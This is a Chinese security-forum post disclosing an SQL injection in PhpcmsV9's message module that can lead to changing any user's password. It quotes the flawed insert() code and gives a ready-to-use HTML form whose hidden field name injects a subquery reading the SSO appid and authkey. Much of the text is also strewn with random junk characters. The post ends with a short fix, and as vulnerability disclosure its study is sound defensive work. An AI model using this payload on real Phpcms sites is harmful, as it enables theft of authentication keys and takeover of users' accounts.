找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2438|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:
- y! r" }0 S9 t2 [$ @6 ^
: R3 V! {" X+ x第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。2 _6 ]( n4 o1 B7 D2 D- R2 W
# X. o3 _+ c& w; \) w
明天再更新下一个漏洞。; T) W8 ~$ L! }* h9 g6 G) G2 q. `
详细说明:9 n4 m  t. q- D; A
在/phpcms9/phpcms/modules/message/index.php中有代码如下:  I2 N/ Y! Y5 Y0 k, E* B% o
# ~& {# o5 Z9 c: z
$messageid = $this->message_db->insert($_POST['info'],true);: c  C0 s$ D. J" ^
3 ?( y1 ?4 A* I& g0 h2 a8 i
0 Z4 ^$ E3 m" M/ ]' q1 \
insert方法是key value的,代码如下:
; q- i& l8 O3 e: X5 N0 h% Q* f1 g5 g6 U' {  u
public function insert($data, $table, $return_insert_id = false, $replace = false) {2 B# N2 P2 m& @0 n  `0 j+ m' v9 G
                if(!is_array( $data ) || $table == '' || count($data) == 0) {+ I1 o/ I" a% X. ~4 @3 V( V- W
                        return false;5 s9 a! u5 }4 \2 G; d5 t6 V
                }
  `5 B$ S( Q, l: |1 Z% A                7 D: s; i: K) ^2 j* A" }
                $fielddata = array_keys($data);
' f) V- M# @6 M7 R- C% M% E                $valuedata = array_values($data);
0 U! j5 v8 M# w; Y% N) \. ^! T7 H- m                array_walk($fielddata, array($this, 'add_special_char'));
+ ?2 O- U, C/ X% h2 N                array_walk($valuedata, array($this, 'escape_string'));
. V. q' ~, O4 Z. y                , S/ ]) {9 }7 z" b
                $field = implode (',', $fielddata);, W0 B$ e+ ?0 M7 X7 r- J
                $value = implode (',', $valuedata);8 {4 j# u% _1 y* m; S
, c* l7 W7 D0 k9 d9 M% j" O; g
                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';! u" v) A2 L' H1 B# h
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
6 x: d* K( [7 b! H: v/ J  t                $return = $this->execute($sql);
7 X% L9 K( k) m+ R) v0 H; i$ |                return $return_insert_id ? $this->insert_id() : $return;& j# J" A  X2 H  o4 A9 l
        }  z3 t& o0 R' f' Z

2 G0 q- e( R7 b( U# b9 w4 c* a- _1 y) V! n1 g+ I' j7 \8 P5 U
嗯,很遗憾的是8 O- p. ]3 q, u. {1 X
2 M+ l" h& X; E, ~" g
array_walk($fielddata, array($this, 'add_special_char'));1 c# @8 f) {3 ]1 ~  C6 h
( X/ [- S# K6 c7 R! a
8 Z% b! q4 h: |* s2 M
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
$ G7 d7 p" p' n+ W! @0 {
1 g# A2 K3 n: v) D& ^到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
& [/ _" }& T; i1 S
3 u7 W" M! D3 [! s4 i# k漏洞证明:9 w: @& z0 ^$ y5 x5 H
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
5 U# {  N$ K+ ^% a5 H2 A* M) {; v: D$ Q- U

  p; q# b' k" ]! Z表单如下:用户名什么的得自己改一改。: w# |, C2 Y/ j# J
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
! h; b( V, {/ |<table width="100%" cellspacing="0" class="table_form">
# F* \0 }8 y  c# ], Y, ^- T& P<tr>
* v; J% w* _. r<th>标 题:</th>
5 i* }" Y- M, w8 F<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>7 m! q5 x) A6 H, ~9 K, A+ d- l
</tr> ! o" B9 p0 }- S6 x% d- {
<tr>
2 C* R- z% [& I6 e9 g<th>内 容:</th>. |! ^; f7 v- {1 z. k3 b
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
  w& f9 c: n4 ]7 x3 }</tr>/ t# V" Y( g" ]+ k- B* a+ ~* |* @
<input type="hidden" name="info[replyid]" value="2" />
: a, |0 t1 ]$ X" G<input type="hidden" name="info[send_to_id]" value="cc" /> 5 z4 ]3 t; U( g. l
<input type="hidden" name="info[send_from_id]" value="hh">
: D& v$ Z3 S2 S5 S$ k. Q& t2 V2 H" _4 s<!-- 漏洞的利用重点在这里开始 --># [/ A8 Z; C0 D/ c8 e
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
0 Q* \  x7 x  K<!-- 漏洞的利用重点在这里结束 -->: W/ f% v/ l3 y# l
<tr>
1 ~; x+ h. G, s" I. v<th>验证码:</th>6 n+ b8 y( d% b$ ^
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>$ z$ D0 k4 \7 u: N' s
</tr>+ ?" u0 N/ \5 C2 X
<tr>6 A% V9 \% a$ g7 f
<td></td>( Y  z3 W: K6 _1 f, J
<td colspan="2"><label>, |. b8 _" a) e1 H/ G7 Q# ~% j
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>, U: U9 i9 Y( B. z  `1 n/ _
</label></td>. y) Q- ~: U6 }
</tr>1 `# M0 J; l5 g4 P: l& s
</table>+ c; N1 ]& ]$ l0 V6 J: m+ Q
</form>
3 s* s/ o' ]/ Y( k- e在add_special_char函数内对key做过滤就可以了。( s5 c6 F0 i5 p! x

" I0 e. |1 l. S9 y
6 A. \: b) q* m" K" C- P0 W
! M% X# T9 [( g+ t% [. Y1 E- e

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表